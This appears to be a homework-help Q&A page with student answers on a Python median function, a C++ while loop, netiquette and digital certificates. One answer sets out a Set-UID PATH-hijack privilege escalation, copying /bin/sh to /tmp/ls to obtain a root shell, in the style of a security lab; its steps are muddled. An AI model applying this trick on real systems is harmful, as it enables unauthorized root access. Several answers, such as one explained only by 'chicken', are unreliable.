1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
olga55 [171]
3 years ago
8

#Write a function called find_median. find_median #should take as input a string representing a filename. #The file correspondin

g to that filename will be a list #of integers, one integer per line. find_median should #return the medi
Computers and Technology
1 answer:
azamat3 years ago
5 0

Answer:

Explanation:

The following is written in Python. It takes in a file, it then reads all of the elements in the file and adds them to a list called myList. Then it sorts the list and uses the elements in that list to calculate the median. Once the median is calculated it returns it to the user. The code has been tested and the output can be seen in the image below.

def find_median(file):

   file = open(file, 'r')

   mylist = []

   for number in file:

       mylist.append(int(number))

   numOfElements = len(mylist)

   mylist.sort()

   print(mylist)

   if numOfElements % 2 == 0:

       m1 = numOfElements / 2

       m2 = (numOfElements / 2) + 1

       m1 = int(m1) - 1

       m2 = int(m2) - 1

       median = (mylist[m1] + mylist[m2]) / 2

   else:

       m = (numOfElements + 1) / 2

       m = int(m) - 1

       median = mylist[m]

   return median

print("Median: " + str(find_median('file1.txt')))

You might be interested in
Which statement about digital certificates is​ FALSE? A. The CA verifies a digital certificate​ user's identity online. B. Digit
liq [111]

Answer:

A

Explanation:

chicken

7 0
3 years ago
Assume we are testing a variable is_sunny in a while loop. is_sunny = “n”.
zubka84 [21]

Answer:

while(is_sunny=="n")

Explanation:

The loop keeps repeating itself until a certain condition is met.

Here while loop keeps executing until value of is_sunny is not equal to 'n'

When the value of is_sunny is not equal to n then the loop stops.

So lets explain this logic with a chunk of code:

#include <iostream> //to use input output functions

using namespace std; //to identify objects like cin cout

int main() {  //start of main function

  string is_sunny = "n"; //value of is_sunny is set to n

  cout<<"Enter value of is_sunny: "; // prompts user to enter value of is_sunny

  cin>>is_sunny; // reads value of is_sunny from user

  while(is_sunny=="n") // keeps iterating until value of is_sunny is not equal to n

  {   cout<<"keep executing until is_sunny is not equal to n"<<endl;//display this message with each iteration

      cout<<"Enter value of is_sunny: "; //keeps prompting to enter is_sunny

      cin>>is_sunny;   } } //keeps reading value of is_sunny from user

Now if the user keeps entering "n" as value of is_sunny then the loop keeps repeating. When the user enters any string other than n then the loop breaks. The output of the program is attached.

6 0
3 years ago
The PATH environment variable.
enot [183]

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

8 0
4 years ago
Which is an advantage of a computer network?
stealth61 [152]
The answer is "networks allow computer to connect quickly and to share data or equipment". This is true because with a commuter network you can instantly share files to all the other computer by putting them of the network file storage center. This also allows multiple pieces of equipment to be used to complete one task that would usually take longer if a single computer did it
5 0
3 years ago
Read 2 more answers
When should students practice netiquette in an online course? Check all that apply.
ser-zykov [4K]

Answer:

The answer to this question is given below in the explanation section. However, the correct answer is: student should practice netiquette in an online course when they are participating in online discussion board.

Explanation:

It is important for you as a student to recognize that the online classroom is in fact a classroom, and certain behaviors are expected when you communicate with both your peers and your instructors. These guidelines for online behavior and interaction are known as “netiquette”.

So, the correct option of this question is: students should practice netiquette in an online course when they are participating in an online discussion board. Because the discussion board is opened by the instructor/tutor, he constantly looking for student behavior throughout the discussion. so, students should use netiquette practice during the discussion in the online class.

However, other options are not correct because, in these options, there is not the presence of teacher/instructor. And, also noted that netiquette is practiced in online class by the student.  

8 0
3 years ago
Read 2 more answers
Other questions:
  • The purpose of the align phase is to align your team with ______.
    9·1 answer
  • Which line of code will print Python is cool! on the screen?
    9·2 answers
  • What’s the most popular operating system
    9·2 answers
  • How are natural systems and engineered systems similar to one another?
    8·1 answer
  • True/False: not is evaluated first; and is evaluated next; or is evaluated last.
    13·1 answer
  • How ssd is better than normal sata and pata HDD​
    11·1 answer
  • Write a basic notation for
    8·1 answer
  • How many tables are needed to implement an REA data model that has five distinct entity-sets, two many-to-many relationships and
    6·1 answer
  • Write a program that creates a two-dimensional array named height and stores the following data:
    15·2 answers
  • kidede secondary school in Kotido district has been selected to participate in the final continental debating competitions with
    9·2 answers
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!